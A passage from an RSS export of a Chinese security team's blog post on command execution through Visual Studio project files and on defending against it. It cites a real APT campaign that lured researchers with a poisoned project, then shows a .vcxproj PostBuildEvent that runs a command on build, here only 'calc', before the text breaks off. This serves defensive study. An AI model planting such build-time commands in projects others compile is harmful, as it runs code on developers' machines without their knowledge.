style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">N</span></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">D</span></p></div></div></div></div></div></div></div><div draggable="false" data-tools-id="47164" style="max-width: 100%;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;flex-direction: column;align-items: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="padding: 10px 15px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);background-color: rgb(199, 221, 253);color: rgb(0, 0, 70);font-size: 14px;line-height: 14px;font-family: 思源黑体;letter-spacing: 1px;transform: rotate(0deg);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">Tide团队产品及服务</span></strong></p><div style="margin-top: -15px;padding: 35px 15px 20px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队自研平台</span></strong><span leaf="">：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">技术分享方向</span></strong><span leaf="">:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队知识wiki</span></strong><span leaf="">：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队网盘资料</span></strong><span leaf="">：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......</span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=60ca1444&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NTA4OTI5NA%3D%3D%26mid%3D2247522198%26idx%3D1%26sn%3Db546e2365ec709b17c00092c894a277a">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 21 May 2026 17:30:00 +0800</pubDate>
    </item>
    <item>
      <title>VS命令执行与防御</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247522129&amp;idx=1&amp;sn=770301431953ea49e2c8377e319eb4a8</link>
      <description>本文从命令执行与防御两个角度展开，学习VS钓鱼针对安全从业者的攻与防。</description>
      <content:encoded><![CDATA[<p>原创 <span>Sp1ke</span> <span>2026-05-13 17:00</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=76c6a850&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjS2mB7OlsdUs77BtL3hkn5WAQFpFfOQS5zvTic0EpiaC1Jt1XBubT2TIhU9M1qJCKv0obo1AiaftJCMTro1IBY28TDMlfrmickX0Z8A5MTiaianiaI%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>本文从命令执行与防御两个角度展开，学习VS钓鱼针对安全从业者的攻与防。</p>
  <div data-mpa-template="t" mpa-from-tpl="t" style="margin-bottom: 0px;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><div data-mpa-template="t" mpa-from-tpl="t" data-mpa-powered-by="yiban.io" style="margin-bottom: 0px;display: flex;justify-content: center;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><p data-mid="" mpa-from-tpl="t" style="margin-bottom: -11px;margin-left: -7px;width: 21px;height: 18px;display: flex;justify-content: center;align-items: center;align-self: flex-start;z-index: 1;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8571428571428571" data-w="42" src="https://wechat2rss.xlab.app/img-proxy/?k=992d3ad3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDuibU3GqmxVmRsdItbBVRKegNHicHQvAHDdZsGpLVU7touSU1AU1twHTfRjG3Vu5aUh0RnPPllfVUhs4qdWF5QYQ%2F640%3Fwx_fmt%3Dpng"/></span></p><div data-mid="" mpa-from-tpl="t" style="width: 558px;background: rgb(255, 145, 1);transform: rotate(-3deg) scale(0.9);"><div data-mid="" mpa-from-tpl="t" style="width: 558px;transform: rotate(3deg) scale(1.1);background: rgb(255, 252, 227);border-width: 1px;border-style: solid;border-color: rgb(246, 128, 31);"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 11px 13px 12px;width: 556px;text-align: left;"><p data-mid="" mpa-is-content="t" style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(62, 62, 62);line-height: 26px;word-break: break-word;"><span leaf="">声明：Tide安全团队原创文章，转载请声明出处！文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途给予盈利等目的，否则后果自行承担！</span></p></div></div></div><p data-mid="" mpa-from-tpl="t" style="margin-top: -45px;margin-right: -5px;margin-bottom: 8px;width: 46px;height: 42px;display: flex;justify-content: center;align-items: center;align-self: flex-end;z-index: 1;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8936170212765957" data-w="94" src="https://wechat2rss.xlab.app/img-proxy/?k=94bb99ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9zYJrD2VibHmqgf4y9Bqh9nDynW5fHvgbgkSGAfRboFPuCGjVoC3qMl6wlFucsx3Y3jt4gibQgZ6LxpoozE0Tdow%2F640%3Fwx_fmt%3Dpng"/></span></p></div></div></div><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;font-family: PingFangSC-regular, sans-serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="background-color: rgb(251, 251, 251);margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(33, 33, 34);line-height: 2.4em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 15px;padding-right: 30px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 40px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">0x01 背景</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">最近在网上冲浪时发现曾哥团队推送了这样一则消息：</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5444444444444444" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038475" src="https://wechat2rss.xlab.app/img-proxy/?k=6ad5658f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdUREwZwfM5CUEABiavUfScWOqp2QKceoNYdIWZDe4glPpgkjv5599uetP4Gf5C02zPVk7zicakiaOKzsfSeqLl0Jsiav2VUH4iaPhDY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5398148148148149" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038477" src="https://wechat2rss.xlab.app/img-proxy/?k=05ed4e53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdVAIcSIRWrZ6u6pXauDXk0aS0aW2iaNhLScW42ibobfvP0Vib6AdP8a4gp7m95SJJ1YzbUgoGSPfZdD0BWuY9iaP1U6n88Y5zKGHtE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">使用VS项目进行钓鱼，一番搜索发现去年10月存在同样的APT投毒项目，海莲花组织注册Github账号Jiefeng伪装为国内安全研究员，发布项目Cobalt Strike最新提权插件源码吸引受害者编译。并利用.suo文件反序列化漏洞触发恶意代码执行。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">关于VS钓鱼为什么越来越猖獗，有以下几个原因</span></p><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">微软并不认为.suo反序列化等问题是漏洞，所以不会修复</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">VS项目多处可以命令执行</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">使用VS项目进行命令执行本身具备免杀效果</span></p></li></ol><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">本文从命令执行与防御两个角度展开，学习</span><s style="color: rgb(0, 0, 0);font-style: italic;"><span leaf="">红队大佬受害记</span></s><span leaf="">针对安全从业者的攻与防。</span></p><h2 data-tool="mdnice编辑器" style="background-color: rgb(251, 251, 251);margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(33, 33, 34);line-height: 2.4em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 15px;padding-right: 30px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 40px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">0x02 命令执行</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">根据利用难度，我分为需要编译和1click两个模块</span></p><h3 data-tool="mdnice编辑器" style="border-top-color: rgb(33, 33, 34);margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 2px;border-left-width: 1px;border-right-width: 1px;border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(89, 89, 89);border-top-color: rgb(34, 34, 34);line-height: 1.8em;letter-spacing: 0em;padding-top: 4px;padding-bottom: 0px;padding-left: 6px;padding-right: 6px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 2px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">需要编译</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">以c++项目为例，对应项目文件为</span><code style="color: rgb(239, 112, 96);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">.vcxproj</span></code><span leaf="">，其他语言的项目配置如</span><code style="color: rgb(239, 112, 96);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">.vbproj</span></code><span leaf="">、</span><code style="color: rgb(239, 112, 96);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">.csproj</span></code><span leaf="">没有做相关实验，感兴趣的读者可以自行尝试~</span></p><blockquote style="margin-top: 20px;margin-bottom: 20px;margin-left: 0px;margin-right: 0px;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow-x: auto;overflow-y: auto;"><p style="text-indent: 0em;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;"><span leaf="">.vcxproj</span></p></blockquote><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">方式1</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">新建一个c++项目，打开项目名.vcxproj文件，添加以下代码</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">ItemDefinitionGroup</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">PostBuildEvent</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">Command</span></span><span leaf="">&gt;</span></span><span leaf="">calc</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">Command</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">PostBuildEvent</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">ItemDefinitionGroup</span></span><span leaf="">&gt;</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">编译vs项目执行</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">方式2</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 